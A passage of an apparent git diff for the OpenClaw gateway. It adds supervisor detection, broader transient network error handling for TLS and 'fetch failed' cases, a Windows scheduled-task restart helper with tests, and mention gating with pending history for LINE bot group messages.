"OPENCLAW_SERVICE_MARKER", + "OPENCLAW_SERVICE_KIND", +] as const; + +export type RespawnSupervisor = "launchd" | "systemd" | "schtasks"; + +function hasAnyHint(env: NodeJS.ProcessEnv, keys: readonly string[]): boolean { + return keys.some((key) => { const value = env[key]; return typeof value === "string" && value.trim().length > 0; }); } + +export function detectRespawnSupervisor( + env: NodeJS.ProcessEnv = process.env, + platform: NodeJS.Platform = process.platform, +): RespawnSupervisor | null { + if (platform === "darwin") { + return hasAnyHint(env, LAUNCHD_SUPERVISOR_HINT_ENV_VARS) ? "launchd" : null; + } + if (platform === "linux") { + return hasAnyHint(env, SYSTEMD_SUPERVISOR_HINT_ENV_VARS) ? "systemd" : null; + } + if (platform === "win32") { + if (hasAnyHint(env, WINDOWS_TASK_SUPERVISOR_HINT_ENV_VARS)) { + return "schtasks"; + } + const marker = env.OPENCLAW_SERVICE_MARKER?.trim(); + const serviceKind = env.OPENCLAW_SERVICE_KIND?.trim(); + return marker && serviceKind === "gateway" ? "schtasks" : null; + } + return null; +} diff --git a/src/infra/unhandled-rejections.fatal-detection.test.ts b/src/infra/unhandled-rejections.fatal-detection.test.ts index 1a4ff61879d..3a19d5bb6ed 100644 --- a/src/infra/unhandled-rejections.fatal-detection.test.ts +++ b/src/infra/unhandled-rejections.fatal-detection.test.ts @@ -86,7 +86,7 @@ describe("installUnhandledRejectionHandler - fatal detection", () => { describe("non-fatal errors", () => { it("does not exit on known transient network errors", () => { - const transientCases = [ + const transientCases: unknown[] = [ Object.assign(new TypeError("fetch failed"), { cause: { code: "UND_ERR_CONNECT_TIMEOUT", syscall: "connect" }, }), @@ -111,6 +111,11 @@ describe("installUnhandledRejectionHandler - fatal detection", () => { }), ]; + // Wrapped fetch-failed (e.g. Discord: "Failed to get gateway information from Discord: fetch failed") + transientCases.push( + new Error("Failed to get gateway information from Discord: fetch failed"), + ); + for (const transientErr of transientCases) { expectExitCodeFromUnhandled(transientErr, []); } diff --git a/src/infra/unhandled-rejections.test.ts b/src/infra/unhandled-rejections.test.ts index 6b1e4a19108..5df7ee6949e 100644 --- a/src/infra/unhandled-rejections.test.ts +++ b/src/infra/unhandled-rejections.test.ts @@ -56,10 +56,13 @@ describe("isTransientNetworkError", () => { "EHOSTUNREACH", "ENETUNREACH", "EAI_AGAIN", + "EPROTO", "UND_ERR_CONNECT_TIMEOUT", "UND_ERR_SOCKET", "UND_ERR_HEADERS_TIMEOUT", "UND_ERR_BODY_TIMEOUT", + "ERR_SSL_WRONG_VERSION_NUMBER", + "ERR_SSL_PROTOCOL_RETURNED_AN_ERROR", ]; for (const code of codes) { @@ -122,6 +125,26 @@ describe("isTransientNetworkError", () => { expect(isTransientNetworkError(error)).toBe(true); }); + it("returns true for wrapped fetch-failed messages from integration clients", () => { + const error = new Error("Failed to get gateway information from Discord: fetch failed"); + expect(isTransientNetworkError(error)).toBe(true); + }); + + it("returns false for non-network fetch-failed wrappers from tools", () => { + const error = new Error("Web fetch failed (404): Not Found"); + expect(isTransientNetworkError(error)).toBe(false); + }); + + it("returns true for TLS/SSL transient message snippets", () => { + expect(isTransientNetworkError(new Error("write EPROTO 00A8B0C9:error"))).toBe(true); + expect( + isTransientNetworkError( + new Error("SSL routines:OPENSSL_internal:WRONG_VERSION_NUMBER while connecting"), + ), + ).toBe(true); + expect(isTransientNetworkError(new Error("tlsv1 alert protocol version"))).toBe(true); + }); + it("returns false for regular errors without network codes", () => { expect(isTransientNetworkError(new Error("Something went wrong"))).toBe(false); expect(isTransientNetworkError(new TypeError("Cannot read property"))).toBe(false); diff --git a/src/infra/unhandled-rejections.ts b/src/infra/unhandled-rejections.ts index 67f60d3f389..44a6bb22584 100644 --- a/src/infra/unhandled-rejections.ts +++ b/src/infra/unhandled-rejections.ts @@ -38,6 +38,9 @@ const TRANSIENT_NETWORK_CODES = new Set([ "UND_ERR_SOCKET", "UND_ERR_HEADERS_TIMEOUT", "UND_ERR_BODY_TIMEOUT", + "EPROTO", + "ERR_SSL_WRONG_VERSION_NUMBER", + "ERR_SSL_PROTOCOL_RETURNED_AN_ERROR", ]); const TRANSIENT_NETWORK_ERROR_NAMES = new Set([ @@ -49,7 +52,7 @@ const TRANSIENT_NETWORK_ERROR_NAMES = new Set([ ]); const TRANSIENT_NETWORK_MESSAGE_CODE_RE = - /\b(ECONNRESET|ECONNREFUSED|ENOTFOUND|ETIMEDOUT|ESOCKETTIMEDOUT|ECONNABORTED|EPIPE|EHOSTUNREACH|ENETUNREACH|EAI_AGAIN|UND_ERR_CONNECT_TIMEOUT|UND_ERR_DNS_RESOLVE_FAILED|UND_ERR_CONNECT|UND_ERR_SOCKET|UND_ERR_HEADERS_TIMEOUT|UND_ERR_BODY_TIMEOUT)\b/i; + /\b(ECONNRESET|ECONNREFUSED|ENOTFOUND|ETIMEDOUT|ESOCKETTIMEDOUT|ECONNABORTED|EPIPE|EHOSTUNREACH|ENETUNREACH|EAI_AGAIN|EPROTO|UND_ERR_CONNECT_TIMEOUT|UND_ERR_DNS_RESOLVE_FAILED|UND_ERR_CONNECT|UND_ERR_SOCKET|UND_ERR_HEADERS_TIMEOUT|UND_ERR_BODY_TIMEOUT)\b/i; const TRANSIENT_NETWORK_MESSAGE_SNIPPETS = [ "getaddrinfo", @@ -58,8 +61,22 @@ const TRANSIENT_NETWORK_MESSAGE_SNIPPETS = [ "network error", "network is unreachable", "temporary failure in name resolution", + "tlsv1 alert", + "ssl routines", + "packet length too long", + "write eproto", ]; +function isWrappedFetchFailedMessage(message: string): boolean { + if (message === "fetch failed") { + return true; + } + + // Keep wrapped variants (for example "...: fetch failed") while avoiding broad + // matches like "Web fetch failed (404): ..." that are not transport failures. + return /:\s*fetch failed$/.test(message); +} + function getErrorCause(err: unknown): unknown { if (!err || typeof err !== "object") { return undefined; @@ -154,10 +171,6 @@ export function isTransientNetworkError(err: unknown): boolean { return true; } - if (candidate instanceof TypeError && candidate.message === "fetch failed") { - return true; - } - if (!candidate || typeof candidate !== "object") { continue; } @@ -169,7 +182,7 @@ export function isTransientNetworkError(err: unknown): boolean { if (TRANSIENT_NETWORK_MESSAGE_CODE_RE.test(message)) { return true; } - if (message === "fetch failed") { + if (isWrappedFetchFailedMessage(message)) { return true; } if (TRANSIENT_NETWORK_MESSAGE_SNIPPETS.some((snippet) => message.includes(snippet))) { diff --git a/src/infra/windows-task-restart.test.ts b/src/infra/windows-task-restart.test.ts new file mode 100644 index 00000000000..1a25a7a7415 --- /dev/null +++ b/src/infra/windows-task-restart.test.ts @@ -0,0 +1,133 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { captureFullEnv } from "../test-utils/env.js"; + +const spawnMock = vi.hoisted(() => vi.fn()); +const resolvePreferredOpenClawTmpDirMock = vi.hoisted(() => vi.fn(() => os.tmpdir())); + +vi.mock("node:child_process", () => ({ + spawn: (...args: unknown[]) => spawnMock(...args), +})); +vi.mock("./tmp-openclaw-dir.js", () => ({ + resolvePreferredOpenClawTmpDir: () => resolvePreferredOpenClawTmpDirMock(), +})); + +import { relaunchGatewayScheduledTask } from "./windows-task-restart.js"; + +const envSnapshot = captureFullEnv(); +const createdScriptPaths = new Set(); +const createdTmpDirs = new Set(); + +function decodeCmdPathArg(value: string): string { + const trimmed = value.trim(); + const withoutQuotes = + trimmed.startsWith('"') && trimmed.endsWith('"') ? trimmed.slice(1, -1) : trimmed; + return withoutQuotes.replace(/\^!/g, "!").replace(/%%/g, "%"); +} + +afterEach(() => { + envSnapshot.restore(); + spawnMock.mockReset(); + resolvePreferredOpenClawTmpDirMock.mockReset(); + resolvePreferredOpenClawTmpDirMock.mockReturnValue(os.tmpdir()); + for (const scriptPath of createdScriptPaths) { + try { + fs.unlinkSync(scriptPath); + } catch { + // Best-effort cleanup for temp helper scripts created in tests. + } + } + createdScriptPaths.clear(); + for (const tmpDir of createdTmpDirs) { + try { + fs.rmSync(tmpDir, { recursive: true, force: true }); + } catch { + // Best-effort cleanup for test temp roots. + } + } + createdTmpDirs.clear(); +}); + +describe("relaunchGatewayScheduledTask", () => { + it("writes a detached schtasks relaunch helper", () => { + const unref = vi.fn(); + let seenCommandArg = ""; + spawnMock.mockImplementation((_file: string, args: string[]) => { + seenCommandArg = args[3]; + createdScriptPaths.add(decodeCmdPathArg(args[3])); + return { unref }; + }); + + const result = relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(result).toMatchObject({ + ok: true, + method: "schtasks", + tried: expect.arrayContaining(['schtasks /Run /TN "OpenClaw Gateway (work)"']), + }); + expect(result.tried).toContain(`cmd.exe /d /s /c ${seenCommandArg}`); + expect(spawnMock).toHaveBeenCalledWith( + "cmd.exe", + ["/d", "/s", "/c", expect.any(String)], + expect.objectContaining({ + detached: true, + stdio: "ignore", + windowsHide: true, + }), + ); + expect(unref).toHaveBeenCalledOnce(); + + const scriptPath = [...createdScriptPaths][0]; + expect(scriptPath).toBeTruthy(); + const script = fs.readFileSync(scriptPath, "utf8"); + expect(script).toContain("timeout /t 1 /nobreak >nul"); + expect(script).toContain('schtasks /Run /TN "OpenClaw Gateway (work)" >nul 2>&1'); + expect(script).toContain('del "%~f0" >nul 2>&1'); + }); + + it("prefers OPENCLAW_WINDOWS_TASK_NAME overrides", () => { + spawnMock.mockImplementation((_file: string, args: string[]) => { + createdScriptPaths.add(decodeCmdPathArg(args[3])); + return { unref: vi.fn() }; + }); + + relaunchGatewayScheduledTask({ + OPENCLAW_PROFILE: "work", + OPENCLAW_WINDOWS_TASK_NAME: "OpenClaw Gateway (custom)", + }); + + const scriptPath = [...createdScriptPaths][0]; + const script = fs.readFileSync(scriptPath, "utf8"); + expect(script).toContain('schtasks /Run /TN "OpenClaw Gateway (custom)" >nul 2>&1'); + }); + + it("returns failed when the helper cannot be spawned", () => { + spawnMock.mockImplementation(() => { + throw new Error("spawn failed"); + }); + + const result = relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(result.ok).toBe(false); + expect(result.method).toBe("schtasks"); + expect(result.detail).toContain("spawn failed"); + }); + + it("quotes the cmd /c script path when temp paths contain metacharacters", () => { + const unref = vi.fn(); + const metacharTmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw&(restart)-")); + createdTmpDirs.add(metacharTmpDir); + resolvePreferredOpenClawTmpDirMock.mockReturnValue(metacharTmpDir); + spawnMock.mockReturnValue({ unref }); + + relaunchGatewayScheduledTask({ OPENCLAW_PROFILE: "work" }); + + expect(spawnMock).toHaveBeenCalledWith( + "cmd.exe", + ["/d", "/s", "/c", expect.stringMatching(/^".*&.*"$/)], + expect.any(Object), + ); + }); +}); diff --git a/src/infra/windows-task-restart.ts b/src/infra/windows-task-restart.ts new file mode 100644 index 00000000000..147a88bac41 --- /dev/null +++ b/src/infra/windows-task-restart.ts @@ -0,0 +1,72 @@ +import { spawn } from "node:child_process"; +import { randomUUID } from "node:crypto"; +import fs from "node:fs"; +import path from "node:path"; +import { quoteCmdScriptArg } from "../daemon/cmd-argv.js"; +import { resolveGatewayWindowsTaskName } from "../daemon/constants.js"; +import type { RestartAttempt } from "./restart.js"; +import { resolvePreferredOpenClawTmpDir } from "./tmp-openclaw-dir.js"; + +const TASK_RESTART_RETRY_LIMIT = 12; +const TASK_RESTART_RETRY_DELAY_SEC = 1; + +function resolveWindowsTaskName(env: NodeJS.ProcessEnv): string { + const override = env.OPENCLAW_WINDOWS_TASK_NAME?.trim(); + if (override) { + return override; + } + return resolveGatewayWindowsTaskName(env.OPENCLAW_PROFILE); +} + +function buildScheduledTaskRestartScript(taskName: string): string { + const quotedTaskName = quoteCmdScriptArg(taskName); + return [ + "@echo off", + "setlocal", + "set /a attempts=0", + ":retry", + `timeout /t ${TASK_RESTART_RETRY_DELAY_SEC} /nobreak >nul`, + "set /a attempts+=1", + `schtasks /Run /TN ${quotedTaskName} >nul 2>&1`, + "if not errorlevel 1 goto cleanup", + `if %attempts% GEQ ${TASK_RESTART_RETRY_LIMIT} goto cleanup`, + "goto retry", + ":cleanup", + 'del "%~f0" >nul 2>&1', + ].join("\r\n"); +} + +export function relaunchGatewayScheduledTask(env: NodeJS.ProcessEnv = process.env): RestartAttempt { + const taskName = resolveWindowsTaskName(env); + const scriptPath = path.join( + resolvePreferredOpenClawTmpDir(), + `openclaw-schtasks-restart-${randomUUID()}.cmd`, + ); + const quotedScriptPath = quoteCmdScriptArg(scriptPath); + try { + fs.writeFileSync(scriptPath, `${buildScheduledTaskRestartScript(taskName)}\r\n`, "utf8"); + const child = spawn("cmd.exe", ["/d", "/s", "/c", quotedScriptPath], { + detached: true, + stdio: "ignore", + windowsHide: true, + }); + child.unref(); + return { + ok: true, + method: "schtasks", + tried: [`schtasks /Run /TN "${taskName}"`, `cmd.exe /d /s /c ${quotedScriptPath}`], + }; + } catch (err) { + try { + fs.unlinkSync(scriptPath); + } catch { + // Best-effort cleanup; keep the original restart failure. + } + return { + ok: false, + method: "schtasks", + detail: err instanceof Error ? err.message : String(err), + tried: [`schtasks /Run /TN "${taskName}"`], + }; + } +} diff --git a/src/line/bot-handlers.test.ts b/src/line/bot-handlers.test.ts index 39bfdf939e0..3e52dd338fa 100644 --- a/src/line/bot-handlers.test.ts +++ b/src/line/bot-handlers.test.ts @@ -6,6 +6,7 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; vi.mock("../globals.js", () => ({ danger: (text: string) => text, logVerbose: () => {}, + shouldLogVerbose: () => false, })); vi.mock("../pairing/pairing-labels.js", () => ({ @@ -65,9 +66,50 @@ const { readAllowFromStoreMock, upsertPairingRequestMock } = vi.hoisted(() => ({ let handleLineWebhookEvents: typeof import("./bot-handlers.js").handleLineWebhookEvents; let createLineWebhookReplayCache: typeof import("./bot-handlers.js").createLineWebhookReplayCache; +type LineWebhookContext = Parameters[1]; const createRuntime = () => ({ log: vi.fn(), error: vi.fn(), exit: vi.fn() }); +function createReplayMessageEvent(params: { + messageId: string; + groupId: string; + userId: string; + webhookEventId: string; + isRedelivery: boolean; +}) { + return { + type: "message", + message: { id: params.messageId, type: "text", text: "hello" }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: params.groupId, userId: params.userId }, + mode: "active", + webhookEventId: params.webhookEventId, + deliveryContext: { isRedelivery: params.isRedelivery }, + } as MessageEvent; +} + +function createOpenGroupReplayContext( + processMessage: LineWebhookContext["processMessage"], + replayCache: ReturnType, +): Parameters[1] { + return { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { groupPolicy: "open", groups: { "*": { requireMention: false } } }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + replayCache, + }; +} + vi.mock("../pairing/pairing-store.js", () => ({ readChannelAllowFromStore: readAllowFromStoreMock, upsertChannelPairingRequest: upsertPairingRequestMock, @@ -172,7 +214,11 @@ describe("handleLineWebhookEvents", () => { channelAccessToken: "token", channelSecret: "secret", tokenSource: "config", - config: { groupPolicy: "allowlist", groupAllowFrom: ["user-3"] }, + config: { + groupPolicy: "allowlist", + groupAllowFrom: ["user-3"], + groups: { "*": { requireMention: false } }, + }, }, runtime: createRuntime(), mediaMaxBytes: 1, @@ -354,8 +400,8 @@ describe("handleLineWebhookEvents", () => { account: { accountId: "work", enabled: true, - channelAccessToken: "token-work", - channelSecret: "secret-work", + channelAccessToken: "token-work", // pragma: allowlist secret + channelSecret: "secret-work", // pragma: allowlist secret tokenSource: "config", config: { dmPolicy: "pairing" }, }, @@ -377,32 +423,14 @@ describe("handleLineWebhookEvents", () => { it("deduplicates replayed webhook events by webhookEventId before processing", async () => { const processMessage = vi.fn(); - const event = { - type: "message", - message: { id: "m-replay", type: "text", text: "hello" }, - replyToken: "reply-token", - timestamp: Date.now(), - source: { type: "group", groupId: "group-replay", userId: "user-replay" }, - mode: "active", + const event = createReplayMessageEvent({ + messageId: "m-replay", + groupId: "group-replay", + userId: "user-replay", webhookEventId: "evt-replay-1", - deliveryContext: { isRedelivery: true }, - } as MessageEvent; - - const context: Parameters[1] = { - cfg: { channels: { line: { groupPolicy: "open" } } }, - account: { - accountId: "default", - enabled: true, - channelAccessToken: "token", - channelSecret: "secret", - tokenSource: "config", - config: { groupPolicy: "open" }, - }, - runtime: createRuntime(), - mediaMaxBytes: 1, - processMessage, - replayCache: createLineWebhookReplayCache(), - }; + isRedelivery: true, + }); + const context = createOpenGroupReplayContext(processMessage, createLineWebhookReplayCache()); await handleLineWebhookEvents([event], context); await handleLineWebhookEvents([event], context); @@ -419,32 +447,14 @@ describe("handleLineWebhookEvents", () => { const processMessage = vi.fn(async () => { await firstDone; }); - const event = { - type: "message", - message: { id: "m-inflight", type: "text", text: "hello" }, - replyToken: "reply-token", - timestamp: Date.now(), - source: { type: "group", groupId: "group-inflight", userId: "user-inflight" }, - mode: "active", + const event = createReplayMessageEvent({ + messageId: "m-inflight", + groupId: "group-inflight", + userId: "user-inflight", webhookEventId: "evt-inflight-1", - deliveryContext: { isRedelivery: true }, - } as MessageEvent; - - const context: Parameters[1] = { - cfg: { channels: { line: { groupPolicy: "open" } } }, - account: { - accountId: "default", - enabled: true, - channelAccessToken: "token", - channelSecret: "secret", - tokenSource: "config", - config: { groupPolicy: "open" }, - }, - runtime: createRuntime(), - mediaMaxBytes: 1, - processMessage, - replayCache: createLineWebhookReplayCache(), - }; + isRedelivery: true, + }); + const context = createOpenGroupReplayContext(processMessage, createLineWebhookReplayCache()); const firstRun = handleLineWebhookEvents([event], context); await Promise.resolve(); @@ -464,32 +474,14 @@ describe("handleLineWebhookEvents", () => { const processMessage = vi.fn(async () => { await firstDone; }); - const event = { - type: "message", - message: { id: "m-inflight-fail", type: "text", text: "hello" }, - replyToken: "reply-token", - timestamp: Date.now(), - source: { type: "group", groupId: "group-inflight", userId: "user-inflight" }, - mode: "active", + const event = createReplayMessageEvent({ + messageId: "m-inflight-fail", + groupId: "group-inflight", + userId: "user-inflight", webhookEventId: "evt-inflight-fail-1", - deliveryContext: { isRedelivery: true }, - } as MessageEvent; - - const context: Parameters[1] = { - cfg: { channels: { line: { groupPolicy: "open" } } }, - account: { - accountId: "default", - enabled: true, - channelAccessToken: "token", - channelSecret: "secret", - tokenSource: "config", - config: { groupPolicy: "open" }, - }, - runtime: createRuntime(), - mediaMaxBytes: 1, - processMessage, - replayCache: createLineWebhookReplayCache(), - }; + isRedelivery: true, + }); + const context = createOpenGroupReplayContext(processMessage, createLineWebhookReplayCache()); const firstRun = handleLineWebhookEvents([event], context); await Promise.resolve(); @@ -524,7 +516,11 @@ describe("handleLineWebhookEvents", () => { channelAccessToken: "token", channelSecret: "secret", tokenSource: "config", - config: { groupPolicy: "allowlist", groupAllowFrom: ["user-dup"] }, + config: { + groupPolicy: "allowlist", + groupAllowFrom: ["user-dup"], + groups: { "*": { requireMention: false } }, + }, }, runtime: createRuntime(), mediaMaxBytes: 1, @@ -599,23 +595,20 @@ describe("handleLineWebhookEvents", () => { expect(processMessage).toHaveBeenCalledTimes(1); }); - it("does not mark replay cache when event processing fails", async () => { - const processMessage = vi - .fn() - .mockRejectedValueOnce(new Error("transient failure")) - .mockResolvedValueOnce(undefined); + it("skips group messages by default when requireMention is not configured", async () => { + const processMessage = vi.fn(); const event = { type: "message", - message: { id: "m-fail-then-retry", type: "text", text: "hello" }, + message: { id: "m-default-skip", type: "text", text: "hi there" }, replyToken: "reply-token", timestamp: Date.now(), - source: { type: "group", groupId: "group-retry", userId: "user-retry" }, + source: { type: "group", groupId: "group-default", userId: "user-default" }, mode: "active", - webhookEventId: "evt-fail-then-retry", + webhookEventId: "evt-default-skip", deliveryContext: { isRedelivery: false }, } as MessageEvent; - const context: Parameters[1] = { + await handleLineWebhookEvents([event], { cfg: { channels: { line: { groupPolicy: "open" } } }, account: { accountId: "default", @@ -628,8 +621,300 @@ describe("handleLineWebhookEvents", () => { runtime: createRuntime(), mediaMaxBytes: 1, processMessage, - replayCache: createLineWebhookReplayCache(), - }; + }); + + expect(processMessage).not.toHaveBeenCalled(); + expect(buildLineMessageContextMock).not.toHaveBeenCalled(); + }); + + it("records unmentioned group messages as pending history", async () => { + const processMessage = vi.fn(); + const groupHistories = new Map< + string, + import("../auto-reply/reply/history.js").HistoryEntry[] + >(); + const event = { + type: "message", + message: { id: "m-hist-1", type: "text", text: "hello history" }, + replyToken: "reply-token", + timestamp: 1700000000000, + source: { type: "group", groupId: "group-hist-1", userId: "user-hist" }, + mode: "active", + webhookEventId: "evt-hist-1", + deliveryContext: { isRedelivery: false }, + } as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { groupPolicy: "open" }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + groupHistories, + }); + + expect(processMessage).not.toHaveBeenCalled(); + const entries = groupHistories.get("group-hist-1"); + expect(entries).toHaveLength(1); + expect(entries?.[0]).toMatchObject({ + sender: "user:user-hist", + body: "hello history", + timestamp: 1700000000000, + }); + }); + + it("skips group messages without mention when requireMention is set", async () => { + const processMessage = vi.fn(); + const event = { + type: "message", + message: { id: "m-mention-1", type: "text", text: "hi there" }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: "group-mention", userId: "user-mention" }, + mode: "active", + webhookEventId: "evt-mention-1", + deliveryContext: { isRedelivery: false }, + } as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + groupPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + expect(processMessage).not.toHaveBeenCalled(); + expect(buildLineMessageContextMock).not.toHaveBeenCalled(); + }); + + it("processes group messages with bot mention when requireMention is set", async () => { + const processMessage = vi.fn(); + // Simulate a LINE text message with mention.mentionees containing isSelf=true + const event = { + type: "message", + message: { + id: "m-mention-2", + type: "text", + text: "@Bot hi there", + mention: { + mentionees: [{ index: 0, length: 4, type: "user", isSelf: true }], + }, + }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: "group-mention", userId: "user-mention" }, + mode: "active", + webhookEventId: "evt-mention-2", + deliveryContext: { isRedelivery: false }, + } as unknown as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + groupPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + expect(buildLineMessageContextMock).toHaveBeenCalledTimes(1); + expect(processMessage).toHaveBeenCalledTimes(1); + }); + + it("processes group messages with @all mention when requireMention is set", async () => { + const processMessage = vi.fn(); + const event = { + type: "message", + message: { + id: "m-mention-3", + type: "text", + text: "@All hi there", + mention: { + mentionees: [{ index: 0, length: 4, type: "all" }], + }, + }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: "group-mention", userId: "user-mention" }, + mode: "active", + webhookEventId: "evt-mention-3", + deliveryContext: { isRedelivery: false }, + } as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + groupPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + expect(buildLineMessageContextMock).toHaveBeenCalledTimes(1); + expect(processMessage).toHaveBeenCalledTimes(1); + }); + + it("does not apply requireMention gating to DM messages", async () => { + const processMessage = vi.fn(); + const event = { + type: "message", + message: { id: "m-mention-dm", type: "text", text: "hi" }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "user", userId: "user-dm" }, + mode: "active", + webhookEventId: "evt-mention-dm", + deliveryContext: { isRedelivery: false }, + } as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { dmPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + dmPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + expect(buildLineMessageContextMock).toHaveBeenCalledTimes(1); + expect(processMessage).toHaveBeenCalledTimes(1); + }); + + it("allows non-text group messages through when requireMention is set (cannot detect mention)", async () => { + const processMessage = vi.fn(); + // Image message -- LINE only carries mention metadata on text messages. + const event = { + type: "message", + message: { id: "m-mention-img", type: "image", contentProvider: { type: "line" } }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: "group-1", userId: "user-img" }, + mode: "active", + webhookEventId: "evt-mention-img", + deliveryContext: { isRedelivery: false }, + } as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + groupPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + expect(buildLineMessageContextMock).toHaveBeenCalledTimes(1); + expect(processMessage).toHaveBeenCalledTimes(1); + }); + + it("does not bypass mention gating when non-bot mention is present with control command", async () => { + const processMessage = vi.fn(); + // Text message mentions another user (not bot) together with a control command. + const event = { + type: "message", + message: { + id: "m-mention-other", + type: "text", + text: "@other !status", + mention: { mentionees: [{ index: 0, length: 6, type: "user", isSelf: false }] }, + }, + replyToken: "reply-token", + timestamp: Date.now(), + source: { type: "group", groupId: "group-1", userId: "user-other" }, + mode: "active", + webhookEventId: "evt-mention-other", + deliveryContext: { isRedelivery: false }, + } as unknown as MessageEvent; + + await handleLineWebhookEvents([event], { + cfg: { channels: { line: { groupPolicy: "open" } } }, + account: { + accountId: "default", + enabled: true, + channelAccessToken: "token", + channelSecret: "secret", + tokenSource: "config", + config: { + groupPolicy: "open", + groups: { "*": { requireMention: true } }, + }, + }, + runtime: createRuntime(), + mediaMaxBytes: 1, + processMessage, + }); + + // Should be skipped because there is a non-bot mention and the bot was not mentioned. + expect(processMessage).not.toHaveBeenCalled(); + }); + + it("does not mark replay cache when event processing fails", async () => { + const processMessage = vi + .fn() + .mockRejectedValueOnce(new Error("transient failure")) + .mockResolvedValueOnce(undefined); + const event = createReplayMessageEvent({ + messageId: "m-fail-then-retry", + groupId: "group-retry", + userId: "user-retry", + webhookEventId: "evt-fail-then-retry", + isRedelivery: false, + }); + const context = createOpenGroupReplayContext(processMessage, createLineWebhookReplayCache()); await expect(handleLineWebhookEvents([event], context)).rejects.toThrow("transient failure"); await handleLineWebhookEvents([event], context); diff --git a/src/line/bot-handlers.ts b/src/line/bot-handlers.ts index f28d41e66cf..8cf9be9d79f 100644 --- a/src/line/bot-handlers.ts +++ b/src/line/bot-handlers.ts @@ -8,7 +8,15 @@ import type { PostbackEvent, } from "@line/bot-sdk"; import { hasControlCommand } from "../auto-reply/command-detection.js"; +import { + clearHistoryEntriesIfEnabled, + DEFAULT_GROUP_HISTORY_LIMIT, + recordPendingHistoryEntryIfEnabled, + type HistoryEntry, +} from "../auto-reply/reply/history.js"; +import { buildMentionRegexes, matchesMentionPatterns } from "../auto-reply/reply/mentions.js"; import { resolveControlCommandGate } from "../channels/command-gating.js"; +import { resolveMentionGatingWithBypass } from "../channels/mention-gating.js"; import type { OpenClawConfig } from "../config/config.js"; import { resolveAllowlistProviderRuntimeGroupPolicy, @@ -22,12 +30,14 @@ import { readChannelAllowFromStore, upsertChannelPairingRequest, } from "../pairing/pairing-store.js"; +import { resolveAgentRoute } from "../routing/resolve-route.js"; import type { RuntimeEnv } from "../runtime.js"; import { firstDefined, isSenderAllowed, normalizeAllowFrom, normalizeDmAllowFromWithStore, + type NormalizedAllowFrom, } from "./bot-access.js"; import { getLineSourceInfo, @@ -36,6 +46,7 @@ import { type LineInboundContext, } from "./bot-message-context.js"; import { downloadLineMedia } from "./download.js"; +import { resolveLineGroupConfigEntry } from "./group-keys.js"; import { pushMessageLine, replyMessageLine } from "./send.js"; import type { LineGroupConfig, ResolvedLineAccount } from "./types.js"; @@ -64,6 +75,8 @@ export interface LineHandlerContext { mediaMaxBytes: number; processMessage: (ctx: LineInboundContext) => Promise; replayCache?: LineWebhookReplayCache; + groupHistories?: Map; + historyLimit?: number; } const LINE_WEBHOOK_REPLAY_WINDOW_MS = 10 * 60 * 1000; @@ -212,14 +225,10 @@ function resolveLineGroupConfig(params: { groupId?: string; roomId?: string; }): LineGroupConfig | undefined { - const groups = params.config.groups ?? {}; - if (params.groupId) { - return groups[params.groupId] ?? groups[`group:${params.groupId}`] ?? groups["*"]; - } - if (params.roomId) { - return groups[params.roomId] ?? groups[`room:${params.roomId}`] ?? groups["*"]; - } - return groups["*"]; + return resolveLineGroupConfigEntry(params.config.groups, { + groupId: params.groupId, + roomId: params.roomId, + }); } async function sendLinePairingReply(params: { @@ -350,17 +359,15 @@ async function shouldProcessLineEvent( return denied; } } - const allowForCommands = effectiveGroupAllow; - const senderAllowedForCommands = isSenderAllowed({ allow: allowForCommands, senderId }); - const useAccessGroups = cfg.commands?.useAccessGroups !== false; - const rawText = resolveEventRawText(event); - const commandGate = resolveControlCommandGate({ - useAccessGroups, - authorizers: [{ configured: 